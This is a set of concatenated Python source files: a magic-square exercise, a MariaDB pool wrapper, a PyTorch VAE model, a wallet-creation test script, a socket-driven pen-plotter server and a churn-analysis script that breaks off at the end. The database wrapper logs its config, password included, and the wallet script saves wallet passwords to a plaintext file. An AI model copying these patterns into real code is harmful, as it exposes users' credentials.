__name__ == '__main__':\n main()\n","sub_path":"hooks/neutron_api_hooks.py","file_name":"neutron_api_hooks.py","file_ext":"py","file_size_in_byte":28218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"90294983","text":"# coding: utf-8\n# Universidade Federal de Campina Grande - UFCG\n# Programação I - UFCG\n# Aluno: Walisson Nascimento de Farias\n# Matrícula: 117210716\n# Unidade: 9\tQuestão: É Quadrado Mágico?\n\ndef eh_quadrado_magico(quadrado):\n\tlista = []\n\tfor i in quadrado:\n\t\tfor j in i:\n\t\t\tif j not in lista:\n\t\t\t\tlista.append(j)\n\t\n\taux = []\n\tfor i in quadrado:\n\t\tfor j in i:\n\t\t\taux.append(j)\n\t\n\tif lista == aux and len(quadrado) != 0:\n\t\t# Somando Linhas:\n\t\tsoma_linha = 0\n\t\tlista_linhas = []\n\t\tlinha = 0\n\t\twhile linha <= len(quadrado)-1:\n\t\t\tfor i in range(len(quadrado[linha])):\n\t\t\t\tsoma_linha += quadrado[linha][i]\n\t\t\tlista_linhas.append(soma_linha)\n\t\t\tsoma_linha = 0\n\t\t\tlinha += 1\n\t\t\n\t\t# Somando Colunas:\n\t\tsoma_coluna = 0\n\t\tlista_colunas = []\n\t\tcoluna = 0\n\t\twhile coluna <= len(quadrado)-1:\n\t\t\tfor j in range(len(quadrado)):\n\t\t\t\tsoma_coluna += quadrado[j][coluna]\n\t\t\tlista_colunas.append(soma_coluna)\n\t\t\tsoma_coluna = 0\n\t\t\tcoluna += 1\n\t\t\n\t\tlista_final = lista_linhas + lista_colunas\n\t\t\n\t\t# Somando Diagonal:\n\t\tsoma_diagonal = 0\n\t\tfor d in range(len(quadrado)):\n\t\t\tsoma_diagonal += quadrado[d][d]\n\t\tlista_final.append(soma_diagonal)\n\t\t\n\t\t# Somando Diagonal Secundária:\n\t\tsoma_diagonal_sec = 0\n\t\tfor ds in range(len(quadrado)):\n\t\t\tsoma_diagonal_sec += quadrado[ds][(len(quadrado)-1) - ds]\n\t\tlista_final.append(soma_diagonal_sec)\n\t\t\n\t\tteste = lista_final[0]\n\t\tfor i in lista_final:\n\t\t\tif i != teste:\n\t\t\t\treturn False\n\t\treturn True\n\telse:\n\t\treturn False\n\nquadrado1 = [[2,7,6],[9,5,1],[4,3,8]]\nquadrado2 = [[1,2,3],[4,5,6]]\nquadrado3 = []\nassert eh_quadrado_magico(quadrado1)\nassert not eh_quadrado_magico(quadrado2)\nassert not eh_quadrado_magico(quadrado3)\n","sub_path":"Unidade_9/quadrado_magico/quadrado.py","file_name":"quadrado.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"119501552","text":"# MyPy for Static Typing\nfrom typing import List, Set, Dict, Tuple, Optional, Any, Iterable, Union\n\n# Custom Modules\nfrom helpers.config import config\nfrom helpers.logger import logger\n\n# PyPi Modules\nimport json\nimport mysql.connector.pooling as pooling\nfrom pandas.core.frame import DataFrame\nimport pandas as pd\nfrom mysql.connector.errors import PoolError\nimport threading\n\nclass Initialise:\n def __init__(self) -> None:\n self.poolConnections: Dict[Any, Any] = {}\n self.poolCursors: Dict[Any, Any] = {} \n mariaDet: dict = config['database']\n try:\n logger.info(f'Initialisng Maria pool: {mariaDet}')\n self.pool = pooling.MySQLConnectionPool(\n pool_size=mariaDet.get('poolSize'),\n pool_reset_session=False,\n host=mariaDet.get('host'),\n database=mariaDet.get('database'),\n port=mariaDet.get('port'),\n user=mariaDet.get('user'),\n password=mariaDet.get('password'),\n autocommit=True \n )\n except Exception as error:\n logger.error(f'Unable to connect to maria database, with error: {error}')\n raise \n\n def acquire(self, autocommit: bool = True) -> None:\n threadName: str = threading.current_thread().name\n try:\n self.poolConnections[threadName] = self.pool.get_connection() \n self.poolCursors[threadName] = self.poolConnections[threadName].cursor()\n except Exception as error:\n if type(error) is PoolError and error.args[1] == 'Failed getting connection; pool exhausted':\n self.pool.add_connection()\n self.addConnection = True\n self.poolConnections[threadName] = self.pool.get_connection() \n self.poolCursors[threadName] = self.poolConnections[threadName] \n else:\n raise \n\n def release(self) -> None:\n threadName: str = threading.current_thread().name\n self.poolConnections[threadName].close() \n\n def getData(self, sql, bindings=None, dataframe=None):\n threadName: str = threading.current_thread().name\n cursor = self.poolCursors[threadName]\n try:\n if bindings:\n cursor.execute(sql, bindings)\n else:\n cursor.execute(sql)\n except Exception as error:\n raise MariaError(f\"Unable to retrieve data with error: {error}\")\n\n columns = [field[0] for field in cursor.description]\n data = cursor.fetchall() \n result = []\n for x in data:\n result.append(list(x))\n \n for i, x in enumerate(result):\n for j, y in enumerate(x): \n try: \n x[j] = json.loads(y)\n except:\n x[j] = y\n data[i] = x \n \n if dataframe: \n if len(result) > 0:\n return pd.DataFrame(data = result, columns = columns)\n else:\n return pd.DataFrame(data = [], columns = columns)\n else:\n return [dict(zip(columns, x)) for x in result] \n\n def execute(self, sql, params=None):\n threadName: str = threading.current_thread().name\n cursor = self.poolCursors[threadName] \n try:\n if params:\n cursor.execute(sql, params)\n else:\n cursor.execute(sql)\n except Exception as error:\n raise MariaError(\"Unable to execute statement, with error: {}\".format(error)) \n\n def executeMany(self, sql, batchData, batchLimit):\n threadName: str = threading.current_thread().name\n cursor = self.poolCursors[threadName] \n try:\n for i in range(0, len(batchData)+batchLimit, batchLimit):\n cursor.executemany(\n sql,\n batchData[i:i+batchLimit]\n )\n except Exception as error:\n raise MariaError(\"Unable to executemany statement, with error: {}\".format(error))\n\n def insert(self, sql, params=None):\n threadName: str = threading.current_thread().name\n cursor = self.poolCursors[threadName] \n try:\n cursor.execute(sql, params)\n except Exception as error:\n raise MariaError(\"Unable to execute statement, with error: {}\".format(error)) \n\nclass MariaError(Exception):\n pass\n\nPool: Initialise = Initialise()","sub_path":"src/lib/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"455856034","text":"import torch\nimport torch.nn as nn\nimport torch.nn.utils.rnn as rnn_utils\nimport torch.nn.functional as F\n\nclass REVIEWDI(nn.Module):\n def __init__(self, vocab_obj, args, device):\n super().__init__()\n\n self.m_device=device\n\n self.m_embedding_size = args.embedding_size\n self.m_user_embedding_size = args.latent_size\n\n self.m_hidden_size = args.hidden_size\n self.m_word_dropout_rate = args.word_dropout \n self.m_embedding_dropout = args.embedding_dropout\n self.m_latent_size = args.latent_size\n\n self.m_max_sequence_len = args.max_seq_length\n self.m_num_layers = args.num_layers\n self.m_bidirectional = args.bidirectional\n # self.m_rnn_type = args.rnn_type\n\n self.m_sos_idx = vocab_obj.sos_idx\n self.m_eos_idx = vocab_obj.eos_idx\n self.m_pad_idx = vocab_obj.pad_idx\n self.m_unk_idx = vocab_obj.unk_idx\n\n self.m_vocab_size = vocab_obj.vocab_size\n self.m_user_size = vocab_obj.user_size\n self.m_item_size = vocab_obj.item_size\n\n self.m_embedding = nn.Embedding(self.m_vocab_size, self.m_embedding_size)\n self.m_embedding_dropout = nn.Dropout(p=self.m_embedding_dropout)\n\n self.m_user_embedding = nn.Embedding(self.m_user_size, self.m_latent_size)\n self.m_item_embedding = nn.Embedding(self.m_item_size, self.m_latent_size)\n \n # print(self.m_user_embedding.size())\n\n print(\"user size\", self.m_user_size)\n print(\"item size\", self.m_item_size)\n \n self.m_encoder_rnn = nn.GRU(self.m_embedding_size, self.m_hidden_size, num_layers=self.m_num_layers, bidirectional=True, batch_first=True)\n self.m_decoder_rnn = nn.GRU(self.m_embedding_size, self.m_hidden_size, num_layers=self.m_num_layers, bidirectional=False, batch_first=True)\n\n self.m_hidden2mean_z = nn.Linear(self.m_hidden_size*2, self.m_latent_size)\n self.m_hidden2logv_z = nn.Linear(self.m_hidden_size*2, self.m_latent_size)\n\n self.m_hidden2mean_s = nn.Linear(self.m_hidden_size*2, self.m_latent_size)\n self.m_hidden2logv_s = nn.Linear(self.m_hidden_size*2, self.m_latent_size)\n\n self.m_hidden2mean_l = nn.Linear(self.m_hidden_size*2, self.m_latent_size)\n self.m_hidden2logv_l = nn.Linear(self.m_hidden_size*2, self.m_latent_size)\n\n # self.m_latent2hidden = nn.Linear(self.m_latent_size, self.m_embedding_size)\n self.m_latent2hidden = nn.Linear(self.m_latent_size, self.m_hidden_size)\n self.m_output2vocab = nn.Linear(self.m_hidden_size, self.m_vocab_size)\n\n self.m_decoder_gate = nn.Sequential(nn.Linear(self.m_hidden_size, 1), nn.Sigmoid())\n\n self.m_attn = nn.Sequential(nn.Linear(self.m_hidden_size+self.m_latent_size, self.m_hidden_size), nn.Tanh(), nn.Linear(self.m_hidden_size, 1)) \n\n self = self.to(self.m_device)\n\n def forward(self, input_sequence, input_length, input_de_sequence, input_de_length, user_ids, item_ids, random_flag):\n batch_size = input_sequence.size(0)\n\n input_embedding = self.m_embedding(input_sequence)\n\n input_embedding = self.m_embedding_dropout(input_embedding)\n encoder_outputs, _ = self.m_encoder_rnn(input_embedding)\n\n first_dim_index = torch.arange(batch_size).to(self.m_device)\n second_dim_index = (input_length-1).long()\n \n last_en_hidden = encoder_outputs[first_dim_index, second_dim_index, :].contiguous()\n\n variational_hidden = None\n z_mean = None\n z_logv = None\n z = None\n\n s_mean = None\n s_logv = None\n s = None\n\n l_mean = None\n l_logv = None\n l = None\n\n z_prior = None\n s_prior = None\n\n if random_flag == 0:\n z_mean = self.m_hidden2mean_z(last_en_hidden)\n z_logv = self.m_hidden2logv_z(last_en_hidden)\n z_std = torch.exp(0.5*z_logv)\n z = torch.randn_like(z_std)*z_std + z_mean\n\n z_prior = self.m_user_embedding(user_ids)\n\n s_mean = self.m_hidden2mean_s(last_en_hidden)\n s_logv = self.m_hidden2logv_s(last_en_hidden)\n s_std = torch.exp(0.5*s_logv)\n s = torch.randn_like(s_std)*s_std + s_mean\n\n s_prior = self.m_item_embedding(item_ids)\n\n l_mean = self.m_hidden2mean_l(last_en_hidden)\n l_logv = self.m_hidden2logv_l(last_en_hidden)\n l_std = torch.exp(0.5*l_logv)\n l = torch.randn_like(l_std)*l_std + l_mean\n\n # variational_hidden = z+s\n variational_hidden = z+s+l\n # variational_hidden = torch.cat([z, s, l], dim=1)\n elif random_flag== 1: \n z_mean = self.m_hidden2mean_z(last_en_hidden)\n z_logv = self.m_hidden2logv_z(last_en_hidden)\n z_std = torch.exp(0.5*z_logv)\n z = torch.randn_like(z_std)*z_std + z_mean\n\n z_prior = self.m_user_embedding(user_ids)\n\n s_mean = self.m_hidden2mean_s(last_en_hidden)\n s_logv = self.m_hidden2logv_s(last_en_hidden)\n s_std = torch.exp(0.5*s_logv)\n s = torch.randn_like(s_std)*s_std + s_mean\n\n s_prior = self.m_item_embedding(item_ids)\n\n variational_hidden = z+s\n # variational_hidden = torch.cat([z, s], dim=1)\n \n elif random_flag == 2:\n s_mean = self.m_hidden2mean_s(last_en_hidden)\n s_logv = self.m_hidden2logv_s(last_en_hidden)\n s_std = torch.exp(0.5*s_logv)\n s = torch.randn_like(s_std)*s_std + s_mean\n\n s_prior = self.m_item_embedding(item_ids)\n\n l_mean = self.m_hidden2mean_l(last_en_hidden)\n l_logv = self.m_hidden2logv_l(last_en_hidden)\n l_std = torch.exp(0.5*l_logv)\n l = torch.randn_like(l_std)*l_std + l_mean\n\n # variational_hidden = torch.cat([s, l], dim=1)\n variational_hidden = s+l\n\n elif random_flag == 3:\n z_mean = self.m_hidden2mean_z(last_en_hidden)\n z_logv = self.m_hidden2logv_z(last_en_hidden)\n z_std = torch.exp(0.5*z_logv)\n z = torch.randn_like(z_std)*z_std + z_mean\n\n z_prior = self.m_user_embedding(user_ids)\n\n l_mean = self.m_hidden2mean_l(last_en_hidden)\n l_logv = self.m_hidden2logv_l(last_en_hidden)\n l_std = torch.exp(0.5*l_logv)\n l = torch.randn_like(l_std)*l_std + l_mean\n\n variational_hidden = z+l\n # variational_hidden = torch.cat([z, l], dim=1)\n else:\n raise NotImplementedError(\"0, 1, 2, 3, variational not defined!\")\n\n # init_de_hidden = self.m_latent2hidden(variational_hidden)\n\n input_de_embedding = self.m_embedding(input_de_sequence)\n # repeat_init_de_hidden = init_de_hidden.unsqueeze(1)\n # repeat_init_de_hidden = repeat_init_de_hidden.expand(init_de_hidden.size(0), input_de_embedding.size(1), init_de_hidden.size(-1))\n\n # input_de_embedding = input_de_embedding+repeat_init_de_hidden\n\n hidden = None\n\n de_batch_size = input_de_sequence.size(0)\n de_len = input_de_sequence.size(1)\n # print(\"decoding length\", de_len)\n\n output = []\n var_de = self.m_latent2hidden(variational_hidden)\n\n decode_strategy = \"attn\"\n\n if decode_strategy == \"avg\":\n \"\"\"\n avg mechanism\n \"\"\"\n\n for de_step_i in range(de_len):\n input_de_step_i = input_de_embedding[:, de_step_i, :]\n input_de_step_i = input_de_step_i.unsqueeze(1)\n output_step_i, hidden = self.m_decoder_rnn(input_de_step_i, hidden)\n output.append(output_step_i)\n\n # var_de_flag = self.m_decoder_gate(output_step_i.squeeze(1))\n # # print(\"var_de_flag\", var_de_flag.size())\n # var_de = self.m_latent2hidden((1-var_de_flag)*z+var_de_flag*s+l)\n output = torch.cat(output, dim=1)\n\n elif decode_strategy == \"gating\":\n \"\"\"\n gating mechanism\n \"\"\"\n\n for de_step_i in range(de_len):\n input_de_step_i = input_de_embedding[:, de_step_i, :]+var_de\n input_de_step_i = input_de_step_i.unsqueeze(1)\n output_step_i, hidden = self.m_decoder_rnn(input_de_step_i, hidden)\n # output.append(output_step_i)\n\n var_de_flag = self.m_decoder_gate(output_step_i.squeeze(1))\n # print(\"var_de_flag\", var_de_flag.size())\n var_de = self.m_latent2hidden((1-var_de_flag)*z+var_de_flag*s+l)\n\n output_step_i = output_step_i+var_de\n\n output = torch.cat(output, dim=1)\n\n elif decode_strategy == \"attn\":\n \"\"\"\n attention mechanism output\n \"\"\"\n\n for de_step_i in range(de_len):\n input_de_step_i = input_de_embedding[:, de_step_i, :]\n input_de_step_i = input_de_step_i.unsqueeze(1)\n output_step_i, hidden = self.m_decoder_rnn(input_de_step_i, hidden)\n \n output_step_i = output_step_i.squeeze(1)\n z_attn = torch.cat([output_step_i, z], dim=-1)\n s_attn = torch.cat([output_step_i, s], dim=-1)\n l_attn = torch.cat([output_step_i, l], dim=-1)\n\n z_attn_score = self.m_attn(z_attn)\n s_attn_score = self.m_attn(s_attn)\n l_attn_score = self.m_attn(l_attn)\n\n attn_score = F.softmax(torch.cat([z_attn_score, s_attn_score, l_attn_score], dim=-1), dim=-1)\n\n var_de = attn_score[:, 0].unsqueeze(1)*z\n var_de = var_de+attn_score[:, 1].unsqueeze(1)*s\n var_de = var_de+attn_score[:, 2].unsqueeze(1)*l\n # var_de = attn_score[:, 0]*z+attn_score[:, 1]*s+attn_score[:, 2]*l\n var_de = self.m_latent2hidden(var_de)\n\n output_step_i = output_step_i + var_de\n output.append(output_step_i.unsqueeze(1))\n\n output = torch.cat(output, dim=1)\n\n # print(\"output size\", output.size())\n # if self.m_word_dropout_rate > 0:\n # prob = torch.rand(input_sequence.size()).to(self.m_device)\n\n # prob[(input_sequence.data-self.m_sos_idx)*(input_sequence.data-self.m_pad_idx) ==0] = 1\n\n # decoder_input_sequence = decoder_input_sequence.clone()\n # decoder_input_sequence = input_sequence.clone()\n\n # decoder_input_sequence[prob < self.m_word_dropout_rate] = self.m_unk_idx\n # input_embedding = self.m_embedding(decoder_input_sequence)\n # print(\"output.size\", output.size())\n output = output.contiguous()\n logits = self.m_output2vocab(output.view(-1, output.size(2)))\n \n return logits, z_prior, z_mean, z_logv, z, s_prior, s_mean, s_logv, s, l_mean, l_logv, l, variational_hidden \n","sub_path":"iReview_v2/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":10959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"427107064","text":"#!/usr/bin/python\nimport sys\nimport os\n\nPATH = '~/Acute-Angle-Chain/build/programs/claac/'\n\n\nif len(sys.argv) == 1:\n PATH = PATH + 'claac wallet create'\n waltname = 'default'\nif len(sys.argv) == 2:\n PATH = PATH + 'claac wallet create -n '+ sys.argv[1]\n waltname = sys.argv[1]\nfor s in os.popen(PATH).readlines():\n line = s\nline1 = line[1:-2]\nwaltpin = waltname + ',' + line1 +'\\n' \nf = open('walt_pin', 'a')\nf.writelines(waltpin)\nf.close()\n\n","sub_path":"tests/transfer_tests/wallet.py","file_name":"wallet.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"263096186","text":"\r\nimport time\r\nimport math\r\nimport numpy as np\r\nimport random\r\nimport sys\r\nimport os\r\nimport traceback\r\nimport threading\r\nimport socket\r\ntry:\r\n from drawer import drawIP\r\n from drawer import drawer\r\nexcept:\r\n import drawIP\r\n import drawer\r\nimport struct\r\ntry:\r\n import unicornhat as uh\r\n uh.set_layout(uh.PHAT)\r\n uh.brightness(0.2)\r\nexcept:\r\n pass\r\ns = []\r\nx = 0\r\ny = 0\r\nrunning = True\r\ndraw = []\r\n\r\n\r\n\r\ndrawerIPSelected = drawIP.drawerIP\r\n\r\ndef selectMachine(machine = 1):\r\n global drawerIPSelected\r\n if machine == 1:\r\n drawerIPSelected = drawIP.drawerIP\r\n elif machine == 2:\r\n drawerIPSelected = drawIP.drawerIP2\r\n \r\ndef sendCommand(code,x = 0,y = 0):\r\n dataRec =[]\r\n socketClient = socket.socket()\r\n socketClient.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n connect = 0\r\n \r\n\r\n\r\n\r\n while connect == 0:\r\n try:\r\n socketClient.connect((drawerIPSelected, drawIP.drawerPort))\r\n connect = 1\r\n except:\r\n connect = 0\r\n data = struct.pack('ddi',x,y,code)\r\n socketClient.sendall(data)\r\n\r\n socketClient.shutdown(socket.SHUT_RDWR)\r\n socketClient.close()\r\n return dataRec\r\n\r\n\r\ndef sendLines(x,y):\r\n dataRec =[]\r\n socketClient = socket.socket()\r\n socketClient.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n connect = 0\r\n \r\n\r\n\r\n\r\n while connect == 0:\r\n try:\r\n socketClient.connect((drawerIPSelected, drawIP.drawerPort))\r\n connect = 1\r\n except:\r\n connect = 0\r\n data = struct.pack('ddi',x[0],y[0],drawIP.drawerCode['lineBegin'])\r\n socketClient.sendall(data)\r\n\r\n for k in range(1,len(x)):\r\n data = struct.pack('ddi',x[k],y[k],drawIP.drawerCode['toPosition'])\r\n socketClient.sendall(data)\r\n data = struct.pack('ddi',x[0],y[0],drawIP.drawerCode['lineEnd'])\r\n socketClient.sendall(data)\r\n\r\n\r\n socketClient.shutdown(socket.SHUT_RDWR)\r\n socketClient.close()\r\n return dataRec\r\n\r\ndef pen(position):\r\n dataRec =[]\r\n socketClient = socket.socket()\r\n socketClient.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n connect = 0\r\n \r\n while connect == 0:\r\n try:\r\n socketClient.connect((drawerIPSelected, drawIP.drawerPort))\r\n connect = 1\r\n except:\r\n connect = 0\r\n if position == \"down\":\r\n code = drawIP.drawerCode['penDown']\r\n else:\r\n code = drawIP.drawerCode['penUp']\r\n\r\n data = struct.pack('ddi',0,0,code)\r\n socketClient.sendall(data)\r\n \r\n socketClient.shutdown(socket.SHUT_RDWR)\r\n socketClient.close()\r\n return dataRec\r\n\r\ndef sendPosition(x,y):\r\n dataRec =[]\r\n socketClient = socket.socket()\r\n socketClient.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n connect = 0\r\n \r\n\r\n\r\n\r\n while connect == 0:\r\n try:\r\n socketClient.connect((drawerIPSelected, drawIP.drawerPort))\r\n connect = 1\r\n except:\r\n connect = 0\r\n \r\n data = struct.pack('ddi',x,y,drawIP.drawerCode['toPosition'])\r\n socketClient.sendall(data)\r\n\r\n socketClient.shutdown(socket.SHUT_RDWR)\r\n socketClient.close()\r\n return dataRec\r\n\r\ndef giveStatus(ip):\r\n global running\r\n backlog = 1 # how many connections to accept\r\n maxsize = 28\r\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n binded = False\r\n while not binded:\r\n try:\r\n server.bind((ip,statusPort))\r\n binded = True\r\n except:\r\n print('- Give Status -- binding failed')\r\n binded = False\r\n time.sleep(20)\r\n server.listen(1)\r\n while running:\r\n print('--- waiting for a connection')\r\n try:\r\n connection, client_address = server.accept()\r\n print('------ Connection coming from ' + str(client_address))\r\n\r\n\r\n\r\n code = struct.unpack('i',connection.recv(4))[0]\r\n print('------ code : '+ str(code))\r\n if code == requestStatusCode:\r\n data = struct.pack('i', sendStatusCode)\r\n try:\r\n connection.sendall(data)\r\n except:\r\n print('sending did not work :/ but better not break everything')\r\n except:\r\n pass\r\n\r\n\r\ndef receiveDirection(IP,PORT):\r\n uh.set_pixel(2, 1, 255, 0, 0)\r\n uh.show()\r\n global running\r\n backlog = 1 # how many connections to accept\r\n maxsize = 28\r\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n binded = False\r\n print('---- Stimuli Updater')\r\n while not binded:\r\n uh.set_pixel(2, 2, 255, 128, 0)\r\n uh.show()\r\n try:\r\n server.bind((IP,PORT))\r\n binded = True\r\n except:\r\n print(IP)\r\n print('- Wait for Stimuli Update -- binding failed')\r\n binded = False\r\n uh.set_pixel(2, 1, 255, 0, 255)\r\n uh.show()\r\n server.listen(1)\r\n print('---- Stimuli Updater is binded on : '+ IP +' with port : '+ str(PORT))\r\n while running:\r\n uh.set_pixel(2, 3, 255, 255, 0)\r\n uh.show()\r\n print('--- waiting for a connection')\r\n #try:\r\n connection, client_address = server.accept()\r\n print('------ Connection coming from ' + str(client_address))\r\n\r\n\r\n\r\n message = struct.unpack('ddi',connection.recv(20))\r\n code = message[2]\r\n x = message[0]\r\n y = message[1]\r\n print('------ code : '+ str(code))\r\n if code == drawIP.drawerCode['penUp']:\r\n uh.set_pixel(3, 3, 255, 0, 0)\r\n uh.show()\r\n draw.penUp()\r\n if code == drawIP.drawerCode['penDown']:\r\n uh.set_pixel(3, 3, 0, 255, 0)\r\n uh.show()\r\n draw.penDown()\r\n if code == drawIP.drawerCode['toPosition']:\r\n uh.set_pixel(3, 3, 0, 0, 255)\r\n uh.show()\r\n draw.toPosition(x,y)\r\n if code == drawIP.drawerCode['lineBegin']:\r\n uh.set_pixel(3, 3, 0, 255, 255)\r\n uh.show()\r\n draw.toPosition(x,y)\r\n draw.penDown()\r\n line = True\r\n while line:\r\n message = struct.unpack('ddi',connection.recv(20))\r\n code = message[2]\r\n uh.set_pixel(3, 3, 0, 255, 255)\r\n uh.show()\r\n if code == drawIP.drawerCode['lineEnd']:\r\n draw.penUp()\r\n line = False\r\n uh.set_pixel(3, 4, 0, 0, 0)\r\n uh.show()\r\n else:\r\n x = message[0]\r\n y = message[1]\r\n draw.toPosition(x,y)\r\n uh.set_pixel(3, 4, 0, 0, 0) \r\n uh.show()\r\n uh.set_pixel(3, 4, 0, 255, 255)\r\n uh.show()\r\n\r\n\r\n #except:\r\n # pass\r\n\r\ndef main():\r\n uh.set_pixel(0, 0, 255, 0, 0)\r\n uh.show()\r\n\r\n global running\r\n global draw\r\n draw = drawer.Drawer()\r\n print(sys.argv)\r\n try:\r\n print(int(sys.argv[2]))\r\n print(int(sys.argv[2]) == 1)\r\n if int(sys.argv[2]) == 1:\r\n draw.penInvert(True)\r\n except:\r\n pass\r\n try:\r\n print(int(sys.argv[1]))\r\n selectMachine(int(sys.argv[1]))\r\n print(drawerIPSelected)\r\n except:\r\n pass\r\n draw.penUp()\r\n receiveThread = threading.Thread(target=receiveDirection, args=(drawerIPSelected, drawIP.drawerPort))\r\n receiveThread.daemon = True\r\n receiveThread.start()\r\n uh.set_pixel(2, 0, 0, 255, 0)\r\n uh.show()\r\n\r\n\r\n statusThread = threading.Thread(target = giveStatus, args=(drawerIPSelected,))\r\n statusThread.daemon = True\r\n statusThread.start()\r\n uh.set_pixel(1, 0, 255, 0, 255)\r\n uh.show()\r\n\r\n t0 = time.time()\r\n\r\n while running:\r\n t = time.time()-t0\r\n time.sleep(3600)\r\n print(\">>>>>>>>>>>> the drawer is in service since \" + str(int(t/3600)) +\" hours\")\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n \r\n","sub_path":"src/drawer/drawNet.py","file_name":"drawNet.py","file_ext":"py","file_size_in_byte":8370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"318343719","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport lime\nimport lime.lime_tabular\nimport keras\nfrom datetime import datetime as dt\nfrom dateutil.parser import parse\nfrom scipy.stats import zscore\nfrom sklearn import preprocessing\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn import tree\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\nfrom sklearn.metrics import roc_auc_score, roc_curve, auc, average_precision_score, confusion_matrix, classification_report\nfrom sklearn.model_selection import GridSearchCV, train_test_split\nfrom sklearn import metrics\nfrom sklearn.externals import joblib\nfrom sklearn.model_selection import cross_validate\nfrom xgboost import XGBClassifier\nfrom __future__ import print_function\nfrom keras.models import Sequential\nfrom keras.layers import Dense\n\n# Load data and parse date columns\ndate_columns = ['subscription_start_date', 'subscription_stop_date', 'today']\ndup = pd.read_csv('C:/Users/hsiaol/Desktop/CDP_script_sample/090618_CDP_DUP_TESTDATA.csv',\n sep='\\t', encoding='utf8', parse_dates=date_columns)\nunique = pd.read_csv('C:/Users/hsiaol/Desktop/CDP_script_sample/090618_CDP_UNIQUE_TESTDATA.csv',\n sep='\\t', encoding='utf8', parse_dates=date_columns)\n# Sort by uuid\ndup = dup.sort_values('uuid')\nunique = unique.sort_values('uuid')\n\n# Inspect shape\nprint(dup.shape, unique.shape)\n# Inspect date\nprint(dup.subscription_start_date.describe(), unique.subscription_start_date.describe())\n\n# Derive tenure in days, subs with no stop date (active) will return NaN\ndup['tenure_in_days'] = (dup.subscription_stop_date - dup.subscription_start_date).dt.days\nunique['tenure_in_days'] = (unique.subscription_stop_date - unique.subscription_start_date).dt.days\n# Drop rows with negative tenure days\ndup.drop(dup.index[np.where(dup.tenure_in_days < 0)], inplace=True)\n# Derive previous average tenure days\ndup = dup.join(dup.groupby('uuid')['tenure_in_days'].mean(), on='uuid', rsuffix='_pre_avg')\n\n# Create a new stop date column with NaN imputed with \"today\"\ndup['subscription_stop_date_new'] = dup.subscription_stop_date.fillna(dup.today)\n# Derive the maximum history days by subtracting the earliest start date from latest stop date\n# This will be the sub's entire history\nmax_hist = (dup.groupby('uuid')['subscription_stop_date_new'].max() -\n dup.groupby('uuid')['subscription_start_date'].min()).dt.days\ndup = dup.join(pd.DataFrame(max_hist), on='uuid')\ndup.rename(columns={0: 'max_hist'}, inplace=True)\n\n# Derive the total tenure days including active tenure (all days a sub has/had a subscription)\ndup['tenure_in_days_new'] = (dup.subscription_stop_date_new - dup.subscription_start_date).dt.days\ndup = dup.join(dup.groupby('uuid')['tenure_in_days_new'].sum(), on='uuid', rsuffix='_sum')\n\n# Derive total gap days by subtracting the every tenure days from the entire history\ndup['total_gap'] = dup.max_hist - dup.tenure_in_days_new_sum\n\n# Remove negative gap days\n# It means the entire history is smaller than tenure days, the sub has started a new sub during a subscription\n# Take them out of the sample\ndup = dup[dup.total_gap >= 0]\n\n# Derive how many times a person canceled and derive the average gap days\ndup['cancel_num'] = dup.groupby('uuid')['uuid'].transform('count') - 1\ndup['avg_gap_days'] = dup.total_gap / dup.cancel_num\n\n# Eliminate all rows that canceled before churn window and get unique\ndup = dup[(dup.subscription_stop_date > '2018-08-31') | (dup.subscription_stop_date.isnull())]\ndup = dup[dup.groupby('uuid')['uuid'].transform('count') == 1]\n# Assign churn label\ndup['churn'] = np.where(dup.subscription_stop_date.isnull(), 0, 1)\n\n# Check for dups\nprint(len(dup.uuid.unique()), dup.shape)\n\n# For unique: Eliminate all rows that canceled before churn window\nunique.drop(unique.index[np.where(unique.subscription_stop_date <= '2018-08-31')], inplace=True)\n# Create a new stop date column with NaN imputed with \"today\"\nunique['subscription_stop_date_new'] = unique.subscription_stop_date.fillna(unique.today)\n# Derive the maximum history days and other relative columns\nunique['max_hist'] = (unique.subscription_stop_date_new - unique.subscription_start_date).dt.days\nl = ['total_gap', 'tenure_in_days_pre_avg', 'cancel_num', 'avg_gap_days']\nfor col in l:\n unique[col] = 0\nunique['churn'] = np.where(unique.subscription_stop_date.isnull(), 0, 1)\n\nprint(dup.churn.value_counts(), unique.churn.value_counts())\n\n# Drop rows with null average gap days\ndup.drop(dup.index[np.where(dup.avg_gap_days.isnull())], inplace=True)\ndup.drop(dup.index[np.where(dup.tenure_in_days_pre_avg.isnull())], inplace=True)\n\n# Import usage data\ncolnames = ['uuid', 'month', 'page_views']\ncolnames_app = ['uuid', 'month', 'all_visits']\n\nusage_raw = pd.read_csv('C:/Users/hsiaol/Desktop/CDP_script_sample/090618_CDP_Usage_TESTDATA.csv',\n sep='\\t', encoding='latin-1', usecols=colnames)\nusage_mobile_raw = pd.read_csv(\n 'C:/Users/hsiaol/Desktop/CDP_script_sample/090618_CDP_Usage_Mobile_TESTDATA.csv', sep='\\t', encoding='latin-1', usecols=colnames)\nusage_app_raw = 